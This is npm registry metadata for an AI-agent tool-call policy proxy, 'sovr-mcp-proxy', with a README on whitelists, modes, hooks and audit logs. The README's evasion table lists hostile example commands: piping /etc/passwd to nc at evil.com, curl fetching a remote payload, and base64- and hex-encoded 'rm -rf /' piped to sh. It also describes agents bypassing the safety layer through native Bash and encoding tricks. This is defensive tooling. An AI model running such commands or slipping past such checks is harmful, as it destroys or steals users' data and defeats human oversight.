{"_id":"sovr-mcp-proxy","_rev":"195-f5e5a2982fd4f99dea5d699c2ef64974","name":"sovr-mcp-proxy","dist-tags":{"latest":"7.2.0"},"versions":{"6.0.1":{"name":"sovr-mcp-proxy","version":"6.0.1","keywords":["mcp","model-context-protocol","ai-responsibility","ai-governance","audit-trail","proxy","gate-check","audit","trust","sovr","mcp-proxy","sse","streamable-http","remote-mcp","responsibility-layer","decision-accountability"],"author":{"name":"SOVR AI","email":"contact@sovrapp.com"},"license":"BSL-1.1","_id":"sovr-mcp-proxy@6.0.1","maintainers":[{"name":"sovr","email":"yuhang@sovr.inc"}],"homepage":"https://sovr.inc","bugs":{"url":"https://github.com/xie38388/sovr/issues"},"bin":{"sovr-mcp-proxy":"dist/cli.js"},"dist":{"shasum":"ffac71446d2fbaf4baddf78e6521f6b3eca1fd8b","tarball":"https://registry.npmjs.org/sovr-mcp-proxy/-/sovr-mcp-proxy-6.0.1.tgz","fileCount":35,"integrity":"sha512-WRlyMEq5pYfRSPYPKdIGLOjS2E8ayo3THsxT529ybMlG7secNhWyauOR4COxT1d31WYnC9fm1eVQ1ajWnFUgTA==","signatures":[{"sig":"MEUCIQCSU3cBM7ip+m7qu1LOskc+mLg3TPY67Y6Td2j3QiOlegIgUfpvmG4RsDnqsC7Jl5xgucv713TCxkrM96p0NXvEuvI=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1465099},"main":"dist/index.js","type":"module","types":"./dist/index.d.ts","engines":{"node":">=18.0.0"},"gitHead":"fdc14ee002fcabd25ffce69f06ec75c21692f48e","mcpName":"io.github.xie38388/sovr-proxy","scripts":{},"_npmUser":{"name":"sovr","email":"yuhang@sovr.inc"},"repository":{"url":"git+https://github.com/xie38388/sovr.git","type":"git"},"_npmVersion":"10.9.2","description":"Responsibility Layer for AI agents. Transparent MCP Proxy that intercepts all agent tool calls with policy engine verification and audit trail before forwarding. Supports stdio, SSE, and Streamable HTTP transports.","directories":{},"_nodeVersion":"22.13.0","publishConfig":{"access":"public"},"_hasShrinkwrap":false,"_npmOperationalInternal":{"tmp":"tmp/sovr-mcp-proxy_6.0.1_1772106198142_0.8917497796778544","host":"s3://npm-registry-packages-npm-production"},"deprecated":"Merged into sovr-ai@3.0.0. Install sovr-ai instead."},"7.0.0":{"name":"sovr-mcp-proxy","version":"7.0.0","keywords":["sovr","mcp","proxy","ai-firewall","ai-safety","tool-call","model-context-protocol","whitelist","claude-code-hooks","command-normalizer"],"author":{"name":"SOVR Inc.","email":"sdk@sovr.inc"},"license":"BSL-1.1","_id":"sovr-mcp-proxy@7.0.0","maintainers":[{"name":"sovr","email":"yuhang@sovr.inc"}],"homepage":"https://github.com/xie38388/sovr#readme","bugs":{"url":"https://github.com/xie38388/sovr/issues"},"bin":{"sovr-mcp-proxy":"dist/cli.js"},"dist":{"shasum":"4a38eff909687a16514c29a5001f1699849f12d0","tarball":"https://registry.npmjs.org/sovr-mcp-proxy/-/sovr-mcp-proxy-7.0.0.tgz","fileCount":50,"integrity":"sha512-H6c8aYi4nJNi/JLYCZ9P9FcOj++D7VG+XAImMmvf/8JbupDKhYsJ/+7OC7Nd56OpEKbOPs0zj5z1PKLpAkegFw==","signatures":[{"sig":"MEUCICOvHr3JkfcT3b86yzau/I0ruapceop0NRjCcQ6WEGfXAiEA2ubwrHQQyc1FqghVv94HKOr1xzjd7Sy/popomeWl4pQ=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1701385},"main":"dist/index.js","types":"dist/index.d.ts","module":"dist/index.mjs","exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"},"./engine":{"types":"./dist/engine-export.d.ts","import":"./dist/engine-export.mjs","require":"./dist/engine-export.js"}},"gitHead":"3b48feb8b1f0ec65e5fbe282f6075ea46a9131c7","scripts":{"lint":"tsc --noEmit","test":"vitest run --config vitest.config.ts","build":"tsup src/index.ts src/cli.ts src/init.ts src/usageTracker.ts src/apiKeyManager.ts src/daemon.ts src/engine-export.ts src/toolReplacement.ts src/whitelistEngine.ts src/commandNormalizer.ts src/hooksAdapter.ts --format cjs,esm --dts --clean","prepublishOnly":"pnpm build"},"_npmUser":{"name":"sovr","email":"yuhang@sovr.inc"},"repository":{"url":"git+https://github.com/xie38388/sovr.git","type":"git"},"_npmVersion":"10.9.2","description":"SOVR MCP Proxy — intercepts MCP tool calls and evaluates them against the unified Policy Engine","directories":{},"_nodeVersion":"22.13.0","_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.5.1","vitest":"^1.0.0","typescript":"^5.9.3","@types/node":"^20.19.33"},"_npmOperationalInternal":{"tmp":"tmp/sovr-mcp-proxy_7.0.0_1772120406024_0.6021784604992024","host":"s3://npm-registry-packages-npm-production"},"deprecated":"Merged into sovr-ai@3.0.0. Install sovr-ai instead."},"7.1.0":{"name":"sovr-mcp-proxy","version":"7.1.0","keywords":["sovr","mcp","proxy","ai-firewall","ai-safety","tool-call","model-context-protocol","whitelist","claude-code-hooks","command-normalizer"],"author":{"name":"SOVR Inc.","email":"sdk@sovr.inc"},"license":"BSL-1.1","_id":"sovr-mcp-proxy@7.1.0","maintainers":[{"name":"sovr","email":"yuhang@sovr.inc"}],"homepage":"https://github.com/xie38388/sovr#readme","bugs":{"url":"https://github.com/xie38388/sovr/issues"},"bin":{"sovr-mcp-proxy":"dist/cli.js"},"dist":{"shasum":"f2667cfe2f1d33c40d2192ea2265114755697601","tarball":"https://registry.npmjs.org/sovr-mcp-proxy/-/sovr-mcp-proxy-7.1.0.tgz","fileCount":66,"integrity":"sha512-VINykireJuCzYo7dNDgj0xqxBmsruMgO8rECeLAcfGlZ54LhreCaG/lxH1Tg0BAygnCQm2gwIpjAfnzMTwkRoQ==","signatures":[{"sig":"MEYCIQD9n9am5tkNcbNizriCZ6FXv6tx72PaU6OySeygDFkDywIhALKsgal7Gc4uizkmyI5XY5bGI4ZQhOIv+aLAFLOXhzcA","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1905397},"main":"dist/index.js","types":"dist/index.d.ts","module":"dist/index.mjs","exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"},"./engine":{"types":"./dist/engine-export.d.ts","import":"./dist/engine-export.mjs","require":"./dist/engine-export.js"}},"gitHead":"0a5b2ac8d8a5bf3ecaf9abc92db16aa5294cd7f7","scripts":{"lint":"tsc --noEmit","test":"vitest run --config vitest.config.ts","build":"tsup src/index.ts src/cli.ts src/init.ts src/usageTracker.ts src/apiKeyManager.ts src/daemon.ts src/engine-export.ts src/toolReplacement.ts src/whitelistEngine.ts src/commandNormalizer.ts src/hooksAdapter.ts src/mcpProxyInterceptor.ts src/semanticAnalyzer.ts src/auditDashboard.ts src/teamPolicyManager.ts --format cjs,esm --dts --clean","prepublishOnly":"pnpm build"},"_npmUser":{"name":"sovr","email":"yuhang@sovr.inc"},"repository":{"url":"git+https://github.com/xie38388/sovr.git","type":"git"},"_npmVersion":"10.9.2","description":"SOVR MCP Proxy — intercepts MCP tool calls and evaluates them against the unified Policy Engine","directories":{},"_nodeVersion":"22.13.0","_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.5.1","vitest":"^1.0.0","typescript":"^5.9.3","@types/node":"^20.19.33"},"_npmOperationalInternal":{"tmp":"tmp/sovr-mcp-proxy_7.1.0_1772122118893_0.6476327792326173","host":"s3://npm-registry-packages-npm-production"},"deprecated":"Merged into sovr-ai@3.0.0. Install sovr-ai instead."},"7.2.0":{"name":"sovr-mcp-proxy","version":"7.2.0","keywords":["sovr","mcp","proxy","ai-firewall","ai-safety","tool-call","model-context-protocol","whitelist","claude-code-hooks","command-normalizer"],"author":{"name":"SOVR Inc.","email":"sdk@sovr.inc"},"license":"BSL-1.1","_id":"sovr-mcp-proxy@7.2.0","maintainers":[{"name":"sovr","email":"yuhang@sovr.inc"}],"homepage":"https://github.com/xie38388/sovr#readme","bugs":{"url":"https://github.com/xie38388/sovr/issues"},"bin":{"sovr-mcp-proxy":"dist/cli.js"},"dist":{"shasum":"93640061deb4645cde1561fd3b5a3ef988f2d263","tarball":"https://registry.npmjs.org/sovr-mcp-proxy/-/sovr-mcp-proxy-7.2.0.tgz","fileCount":66,"integrity":"sha512-BLcYjLtFeizdgWYgUWmJ6h+7y0K8WuYj16g8fTgFWdbRZjh2E0To56cWVn+d3b+adKGu0sZ2Bs+9yciXFUmTsQ==","signatures":[{"sig":"MEUCIQD1GA9LJy4gHg0d6enVSr3lwDU8ER7jk3prWLl1rVMpQQIgK6fmHlBFEFcpyQ60f1W3tXzM23/DUb2EtOKeJV+FPhY=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":1932885},"main":"dist/index.js","types":"dist/index.d.ts","module":"dist/index.mjs","exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"},"./engine":{"types":"./dist/engine-export.d.ts","import":"./dist/engine-export.mjs","require":"./dist/engine-export.js"}},"gitHead":"c0baedac9d560dbca520ca8cbac42b5c9ff62d8e","scripts":{"lint":"tsc --noEmit","test":"vitest run --config vitest.config.ts","build":"tsup src/index.ts src/cli.ts src/init.ts src/usageTracker.ts src/apiKeyManager.ts src/daemon.ts src/engine-export.ts src/toolReplacement.ts src/whitelistEngine.ts src/commandNormalizer.ts src/hooksAdapter.ts src/mcpProxyInterceptor.ts src/semanticAnalyzer.ts src/auditDashboard.ts src/teamPolicyManager.ts --format cjs,esm --dts --clean","prepublishOnly":"pnpm build"},"_npmUser":{"name":"sovr","email":"yuhang@sovr.inc"},"repository":{"url":"git+https://github.com/xie38388/sovr.git","type":"git"},"_npmVersion":"10.9.2","description":"SOVR MCP Proxy — intercepts MCP tool calls and evaluates them against the unified Policy Engine","directories":{},"_nodeVersion":"22.13.0","_hasShrinkwrap":false,"devDependencies":{"tsup":"^8.5.1","vitest":"^1.0.0","typescript":"^5.9.3","@types/node":"^20.19.33"},"_npmOperationalInternal":{"tmp":"tmp/sovr-mcp-proxy_7.2.0_1772123534287_0.3856244682966301","host":"s3://npm-registry-packages-npm-production"},"deprecated":"Merged into sovr-ai@3.0.0. Install sovr-ai instead."}},"time":{"created":"2026-02-19T00:57:59.850Z","modified":"2026-02-28T15:19:02.502Z","1.0.0":"2026-02-19T00:58:00.109Z","2.0.0":"2026-02-19T13:23:01.333Z","2.0.1":"2026-02-19T13:47:08.311Z","2.1.0":"2026-02-19T15:06:20.090Z","2.2.0":"2026-02-19T17:17:43.947Z","2.2.1":"2026-02-19T17:42:14.261Z","2.2.2":"2026-02-19T19:46:07.742Z","2.2.3":"2026-02-19T19:54:55.452Z","2.3.0":"2026-02-19T21:57:40.306Z","2.4.0":"2026-02-22T19:22:39.245Z","2.5.0":"2026-02-23T20:27:16.542Z","2.5.1":"2026-02-23T22:05:12.918Z","2.5.2":"2026-02-23T22:22:11.573Z","2.5.3":"2026-02-23T23:07:01.926Z","2.5.4":"2026-02-23T23:13:43.549Z","2.5.5":"2026-02-24T01:31:51.920Z","2.6.0":"2026-02-24T01:56:55.135Z","2.6.1":"2026-02-24T02:09:47.813Z","2.7.0":"2026-02-24T03:12:14.951Z","2.8.0":"2026-02-24T07:08:59.583Z","2.9.0":"2026-02-24T07:34:14.854Z","3.0.0":"2026-02-24T08:22:57.770Z","3.1.0":"2026-02-24T08:58:30.166Z","3.2.0":"2026-02-24T09:16:46.210Z","4.0.0":"2026-02-24T10:19:33.525Z","4.1.0":"2026-02-24T14:08:28.400Z","4.2.0":"2026-02-24T16:40:27.777Z","4.3.0":"2026-02-24T17:22:22.035Z","4.4.0":"2026-02-24T22:36:46.152Z","4.5.0":"2026-02-25T00:11:20.809Z","4.6.0":"2026-02-25T13:50:22.594Z","4.7.0":"2026-02-25T14:49:49.770Z","4.8.0":"2026-02-25T15:21:54.156Z","5.0.0":"2026-02-25T18:20:09.684Z","5.1.0":"2026-02-25T20:59:47.237Z","5.2.0":"2026-02-25T22:01:54.646Z","6.0.0":"2026-02-26T00:58:27.367Z","6.0.1":"2026-02-26T11:43:18.393Z","7.0.0":"2026-02-26T15:40:06.186Z","7.1.0":"2026-02-26T16:08:39.121Z","7.2.0":"2026-02-26T16:32:14.505Z"},"bugs":{"url":"https://github.com/xie38388/sovr/issues"},"author":{"name":"SOVR Inc.","email":"sdk@sovr.inc"},"license":"BSL-1.1","homepage":"https://github.com/xie38388/sovr#readme","keywords":["sovr","mcp","proxy","ai-firewall","ai-safety","tool-call","model-context-protocol","whitelist","claude-code-hooks","command-normalizer"],"repository":{"url":"git+https://github.com/xie38388/sovr.git","type":"git"},"description":"SOVR MCP Proxy — intercepts MCP tool calls and evaluates them against the unified Policy Engine","maintainers":[{"name":"sovr","email":"yuhang@sovr.inc"}],"readme":"# sovr-mcp-proxy\n\nThe **Responsibility Layer** for AI agents. SOVR sits between your AI and its actions — verifying intent, enforcing policy, and producing auditable evidence before any irreversible operation executes.\n\n> Not a security product. Not a firewall. A **decision accountability layer** that makes AI trust verifiable.\n\n[![npm version](https://img.shields.io/npm/v/sovr-mcp-proxy.svg)](https://www.npmjs.com/package/sovr-mcp-proxy)\n[![Weekly Downloads](https://img.shields.io/npm/dw/sovr-mcp-proxy.svg)](https://www.npmjs.com/package/sovr-mcp-proxy)\n[![License: BSL-1.1](https://img.shields.io/badge/License-BSL--1.1-blue.svg)](LICENSE)\n\n---\n\n## What's New in v7.0.0\n\nCommunity feedback (r/LocalLLaMA, r/ClaudeAI) identified three critical gaps — v7 fixes all of them:\n\n| Problem | v6 Status | v7 Solution |\n|---------|-----------|-------------|\n| **Bypass Attack** — LLM ignores SOVR, uses native Bash directly | ❌ Unprotected | ✅ `--mode=exclusive` replaces native tools |\n| **Blacklist Evasion** — `find / -delete` bypasses `rm -rf` block | ❌ Blacklist only | ✅ Whitelist engine (DEFAULT DENY) |\n| **Encoding Tricks** — `bash -c`, base64, hex bypass detection | ❌ No normalization | ✅ Command normalizer unwraps all layers |\n\n### New Features\n\n- **`--mode=exclusive`** — Tool Replacement mode. SOVR replaces native Bash/shell tools in the MCP `tools/list` response. The LLM has **no way to bypass** the policy engine.\n- **`--whitelist=preset|path`** — Whitelist engine with DEFAULT DENY. Built-in presets: `readonly`, `developer`, `production`.\n- **Command Normalizer** — Unwraps `bash -c`, detects base64/hex encoding, identifies destructive equivalents (`find / -delete` → `rm -rf`).\n- **Claude Code Hooks** — `npx sovr-mcp-proxy hooks install` adds PreToolUse hooks for native interception without MCP proxy.\n- **4 Security Modes** — `monitor` | `advisory` | `enforce` (default) | `exclusive`\n\n---\n\n## Why MCP Proxy?\n\n| Approach | Bypass Risk | Audit Gap | Fit |\n|----------|-------------|-----------|-----|\n| SDK wrapper | Agent can skip the wrapper | Partial — only instrumented paths | Incomplete |\n| API middleware | Requires custom integration per tool | Depends on implementation | Fragile |\n| **MCP Proxy** | **Zero** — proxy owns the transport | **None** — every call is intercepted | **Correct** |\n\nAs a Responsibility Layer, SOVR requires a **non-bypassable** architecture. The MCP Proxy intercepts every `tools/call` and `tools/list` message at the protocol level. No tool call reaches execution without passing through the policy engine first.\n\n---\n\n## Quick Start\n\n```bash\n# Basic — enforce mode (default), policy engine active\nnpx sovr-mcp-proxy --upstream \"npx -y @modelcontextprotocol/server-filesystem /tmp\"\n\n# Recommended — exclusive mode + whitelist\nnpx sovr-mcp-proxy \\\n  --upstream \"npx -y @modelcontextprotocol/server-filesystem /tmp\" \\\n  --mode=exclusive \\\n  --whitelist=developer\n\n# Claude Code users — install hooks for native interception\nnpx sovr-mcp-proxy hooks install --fail-closed\n```\n\n### Platform-Specific Setup\n\n```bash\n# Claude Code\nnpx sovr-mcp-proxy init --claude-code\n\n# Cursor\nnpx sovr-mcp-proxy init --cursor\n\n# Windsurf\nnpx sovr-mcp-proxy init --windsurf\n\n# Continue.dev\nnpx sovr-mcp-proxy init --continue\n\n# OpenAI Agents SDK\nnpx sovr-mcp-proxy init --openai-agents\n\n# GPT Codex\nnpx sovr-mcp-proxy init --codex\n```\n\n### MCP Client Configuration\n\n```json\n{\n  \"mcpServers\": {\n    \"filesystem\": {\n      \"command\": \"npx\",\n      \"args\": [\n        \"-y\", \"sovr-mcp-proxy\",\n        \"--mode=exclusive\",\n        \"--whitelist=developer\",\n        \"--upstream\", \"npx -y @modelcontextprotocol/server-filesystem /tmp\"\n      ]\n    }\n  }\n}\n```\n\n---\n\n## Security Modes (NEW in v7)\n\n| Mode | Behavior | Use Case |\n|------|----------|----------|\n| `monitor` | Log only, never block | Development / debugging |\n| `advisory` | Warn but allow | Gradual rollout |\n| `enforce` | Block violations (default) | Production |\n| `exclusive` | **Replace native tools** — LLM can only execute through SOVR | Maximum security |\n\n### Exclusive Mode\n\nIn `--mode=exclusive`, SOVR intercepts the MCP `tools/list` response and replaces dangerous native tools (Bash, shell, exec) with SOVR-wrapped equivalents. The LLM has **no way to bypass** the policy engine because the original tools no longer exist in its tool list.\n\n---\n\n## Whitelist Engine (NEW in v7)\n\n**DEFAULT DENY** — only explicitly allowed commands can execute.\n\n### Built-in Presets\n\n```bash\n# Read-only: only ls, cat, grep, find, git status\nnpx sovr-mcp-proxy --upstream \"...\" --whitelist=readonly\n\n# Developer: read + write + git + npm/pnpm (no rm -rf, no sudo)\nnpx sovr-mcp-proxy --upstream \"...\" --whitelist=developer\n\n# Production: minimal commands for deployment\nnpx sovr-mcp-proxy --upstream \"...\" --whitelist=production\n```\n\n### Custom Whitelist\n\nCreate `sovr-whitelist.json`:\n\n```json\n{\n  \"name\": \"my-project\",\n  \"mode\": \"whitelist\",\n  \"defaultAction\": \"deny\",\n  \"rules\": [\n    {\n      \"pattern\": \"^(ls|cat|grep|find|head|tail|wc)\\\\b\",\n      \"action\": \"allow\",\n      \"description\": \"Read-only commands\"\n    },\n    {\n      \"pattern\": \"^git\\\\s+(status|log|diff|branch)\",\n      \"action\": \"allow\",\n      \"description\": \"Safe git operations\"\n    }\n  ]\n}\n```\n\n---\n\n## Command Normalizer (NEW in v7)\n\nPrevents evasion through shell wrappers, encoding tricks, and destructive equivalents:\n\n| Attack Vector | Example | Detection |\n|---------------|---------|----------|\n| Shell wrapper | `bash -c \"rm -rf /\"` | Unwraps inner command |\n| Pipe chain | `cat /etc/passwd \\| nc evil.com 1234` | Splits and evaluates each segment |\n| Base64 encoding | `echo cm0gLXJmIC8= \\| base64 -d \\| sh` | Detects encoding patterns |\n| Hex encoding | `echo 726d202d7266202f \\| xxd -r -p \\| sh` | Detects hex patterns |\n| Destructive equivalent | `find / -delete` (bypasses `rm` block) | Maps to known destructive patterns |\n| Subshell | `$(curl evil.com/payload.sh)` | Detects command substitution |\n\n---\n\n## Claude Code Hooks (NEW in v7)\n\nFor Claude Code users, SOVR provides native `PreToolUse` hooks that intercept tool calls **before** they execute — no MCP proxy needed.\n\n```bash\n# Install hooks into current project\nnpx sovr-mcp-proxy hooks install\n\n# With fail-closed (block on SOVR error)\nnpx sovr-mcp-proxy hooks install --fail-closed\n\n# Check status\nnpx sovr-mcp-proxy hooks status\n\n# Remove hooks\nnpx sovr-mcp-proxy hooks uninstall\n```\n\n---\n\n## Daemon Mode (v5.0.0+)\n\nThe daemon mode eliminates cold-start latency by running SOVR as a persistent background process. This is the **recommended** way to run SOVR in production.\n\n### Why Daemon Mode?\n\nWithout daemon mode, every `gate_check` call spawns a new Node.js process — adding 200-500ms overhead per check. With daemon mode, checks complete in **< 5ms** via HTTP.\n\n| Mode | Latency per check | Success rate | Resource usage |\n|------|-------------------|--------------|----------------|\n| Cold start (legacy) | 200-500ms | ~56% (fail-open) | High (new process each time) |\n| **Daemon mode** | **< 5ms** | **100%** | Low (single persistent process) |\n\n### Start the Daemon\n\n```bash\n# Start daemon (background process)\nnpx sovr-mcp-proxy daemon start\n\n# Start with custom port\nnpx sovr-mcp-proxy daemon start --port 3100\n\n# Start in fail-closed mode (blocks on error instead of allowing)\nSOVR_FAIL_MODE=closed npx sovr-mcp-proxy daemon start\n\n# Check daemon status\nnpx sovr-mcp-proxy daemon status\n\n# Stop daemon\nnpx sovr-mcp-proxy daemon stop\n```\n\n### Daemon Status Output\n\n```\n╔══════════════════════════════════════╗\n║     SOVR DAEMON STATUS               ║\n╠══════════════════════════════════════╣\n║ Status:    ● RUNNING                 ║\n║ PID:       12345                     ║\n║ Port:      3100                      ║\n║ Uptime:    2h 15m                    ║\n║ Checks:    1,247 total               ║\n║ Success:   99.8%                     ║\n║ Avg Lat:   0.9ms                     ║\n╚══════════════════════════════════════╝\n```\n\n### Daemon API Endpoints\n\nThe daemon exposes an HTTP API for integration:\n\n| Endpoint | Method | Description |\n|----------|--------|-------------|\n| `/health` | GET | Health check — returns `{ status, uptime, version }` |\n| `/gate-check` | POST | Evaluate an action against the policy engine |\n| `/stats` | GET | Full statistics — checks, success rate, latency |\n\n#### Gate Check Request\n\n```bash\ncurl -X POST http://localhost:3100/gate-check \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"action\": \"execute_command\",\n    \"resource\": \"rm -rf /important\",\n    \"context\": { \"user\": \"agent-1\" }\n  }'\n```\n\n#### Gate Check Response\n\n```json\n{\n  \"decision\": \"BLOCK\",\n  \"reason\": \"Destructive command blocked by policy\",\n  \"risk_score\": 95,\n  \"matched_rule\": \"block_destructive_commands\",\n  \"timestamp\": \"2026-02-25T00:15:30.000Z\",\n  \"latency_ms\": 0.8\n}\n```\n\n### Fail Mode Configuration\n\n| Mode | Behavior on Error | Use Case |\n|------|-------------------|----------|\n| `open` (default) | Allow action if SOVR check fails | Development, non-critical workflows |\n| `closed` | **Block** action if SOVR check fails | Production, high-security environments |\n\n```bash\n# Set via environment variable\nexport SOVR_FAIL_MODE=closed\nnpx sovr-mcp-proxy daemon start\n\n# Or in .env file\necho \"SOVR_FAIL_MODE=closed\" >> .env\n```\n\n### Success Rate Monitoring\n\nThe daemon automatically monitors success rate and emits warnings:\n\n- **≥ 95%**: Normal operation\n- **< 95%**: Warning logged — `[SOVR ALERT] Success rate dropped below 95%`\n- **< 80%**: Critical alert — consider restarting daemon\n\n---\n\n## Git Hook Integration\n\nSOVR integrates with git hooks to verify every commit operation:\n\n```bash\n# Install git hooks\nnpx sovr-mcp-proxy init --claude-code  # or your platform\n\n# The hook (sovr-gate.js) automatically:\n# 1. Checks if daemon is running → uses HTTP (fast path, <5ms)\n# 2. Falls back to MCP cold start if daemon unavailable\n# 3. Logs all decisions to ~/.sovr/audit/\n```\n\n### Hook Flow\n\n```\ngit commit → pre-commit hook → sovr-gate.js\n                                    │\n                        ┌───────────┴───────────┐\n                        │                       │\n                   Daemon running?          Daemon down?\n                        │                       │\n                   HTTP /gate-check         MCP cold start\n                   (< 5ms)                  (200-500ms)\n                        │                       │\n                        └───────────┬───────────┘\n                                    │\n                              Policy Engine\n                                    │\n                        ┌───────────┴───────────┐\n                        │           │           │\n                      ALLOW      ESCALATE     BLOCK\n                        │           │           │\n                     proceed    human review   abort\n```\n\n---\n\n## Policy Engine\n\nThe built-in policy engine evaluates actions against configurable rules:\n\n### Default Rules\n\n| Rule | Action | Resource Pattern | Decision |\n|------|--------|-----------------|----------|\n| Block destructive commands | `execute_command` | `rm -rf`, `DROP TABLE`, `format` | BLOCK |\n| Block file deletion | `delete_file` | `*` | BLOCK |\n| Escalate force push | `execute_command` | `git push --force` | ESCALATE |\n| Escalate env access | `read_file` | `.env`, `secrets` | ESCALATE |\n\n### Custom Policies\n\n```yaml\n# ~/.sovr/policies/custom.yaml\nrules:\n  - name: block_production_deploy\n    action: execute_command\n    resource_pattern: \"deploy.*production\"\n    decision: BLOCK\n    reason: \"Production deployments require manual approval\"\n    \n  - name: escalate_database_writes\n    action: execute_command\n    resource_pattern: \"INSERT|UPDATE|DELETE\"\n    decision: ESCALATE\n    reason: \"Database writes need human review\"\n```\n\n---\n\n## Audit Trail\n\nEvery decision is logged to `~/.sovr/audit/`:\n\n```\n~/.sovr/audit/\n├── 2026-02-25.jsonl      ← Daily audit log\n├── 2026-02-24.jsonl\n└── stats.json            ← Aggregate statistics\n```\n\nEach entry contains:\n\n```json\n{\n  \"timestamp\": \"2026-02-25T00:15:30.000Z\",\n  \"action\": \"execute_command\",\n  \"resource\": \"git push --force origin main\",\n  \"decision\": \"ESCALATE\",\n  \"risk_score\": 90,\n  \"matched_rule\": \"escalate_force_push\",\n  \"latency_ms\": 0.9,\n  \"session_id\": \"abc123\",\n  \"daemon_mode\": true\n}\n```\n\n---\n\n## Supported Platforms\n\n| Platform | Init Command | Config Format | Status |\n|----------|-------------|---------------|--------|\n| Claude Code | `--claude-code` | JSON | ✅ Stable |\n| Cursor | `--cursor` | JSON | ✅ Stable |\n| Windsurf | `--windsurf` | JSON | ✅ Stable |\n| Continue.dev | `--continue` | JSON | ✅ Stable |\n| OpenAI Agents SDK | `--openai-agents` | Python | ✅ Stable |\n| GPT Codex | `--codex` | TOML | ✅ Stable |\n\n---\n\n## Architecture (v7)\n\n```\n┌─────────────────────────────────────────────┐\n│                AI Agent                      │\n│  (Claude Code / Cursor / Windsurf / etc.)   │\n└──────────────────┬──────────────────────────┘\n                   │ MCP Protocol (stdio/SSE/HTTP)\n                   ▼\n┌─────────────────────────────────────────────┐\n│            SOVR MCP Proxy v7                 │\n│  ┌─────────────────────────────────────┐    │\n│  │  1. Command Normalizer              │    │\n│  │     Unwrap bash -c, detect encoding │    │\n│  ├─────────────────────────────────────┤    │\n│  │  2. Whitelist Engine                │    │\n│  │     DEFAULT DENY, preset/custom     │    │\n│  ├─────────────────────────────────────┤    │\n│  │  3. Policy Engine                   │    │\n│  │     ALLOW / BLOCK / ESCALATE        │    │\n│  ├─────────────────────────────────────┤    │\n│  │  4. Tool Replacement (exclusive)    │    │\n│  │     Replace native tools in list    │    │\n│  ├─────────────────────────────────────┤    │\n│  │  5. Audit Trail                     │    │\n│  │     Every decision → JSONL + stats  │    │\n│  └─────────────────────────────────────┘    │\n│                                              │\n│  Mode: exclusive | enforce | advisory |      │\n│        monitor                               │\n└──────────────────┬──────────────────────────┘\n                   │ MCP Protocol (forwarded)\n                   ▼\n┌─────────────────────────────────────────────┐\n│           Upstream MCP Server                │\n│  (filesystem / database / API / etc.)       │\n└─────────────────────────────────────────────┘\n```\n\n---\n\n## Environment Variables\n\n| Variable | Default | Description |\n|----------|---------|-------------|\n| `SOVR_FAIL_MODE` | `open` | `open` = allow on error, `closed` = block on error |\n| `SOVR_DAEMON_PORT` | `3100` | HTTP port for daemon mode |\n| `SOVR_AUDIT_DIR` | `~/.sovr/audit` | Directory for audit logs |\n| `SOVR_LOG_LEVEL` | `info` | Log verbosity: `debug`, `info`, `warn`, `error` |\n| `SOVR_API_KEY` | — | **Required.** API key for authentication and billing. Get one at [sovr.inc/dashboard](https://sovr.inc/dashboard/api-keys) |\n\n---\n\n## License\n\n[BSL-1.1](LICENSE) — Business Source License 1.1\n\n---\n\n## Links\n\n- **Homepage**: [sovr.inc](https://sovr.inc)\n- **Repository**: [github.com/xie38388/sovr](https://github.com/xie38388/sovr)\n- **npm**: [npmjs.com/package/sovr-mcp-proxy](https://www.npmjs.com/package/sovr-mcp-proxy)\n- **Documentation**: [docs/SOVR_MCP_PROXY_INTEGRATION_GUIDE.md](https://github.com/xie38388/sovr/blob/main/docs/SOVR_MCP_PROXY_INTEGRATION_GUIDE.md)\n","readmeFilename":"README.md"}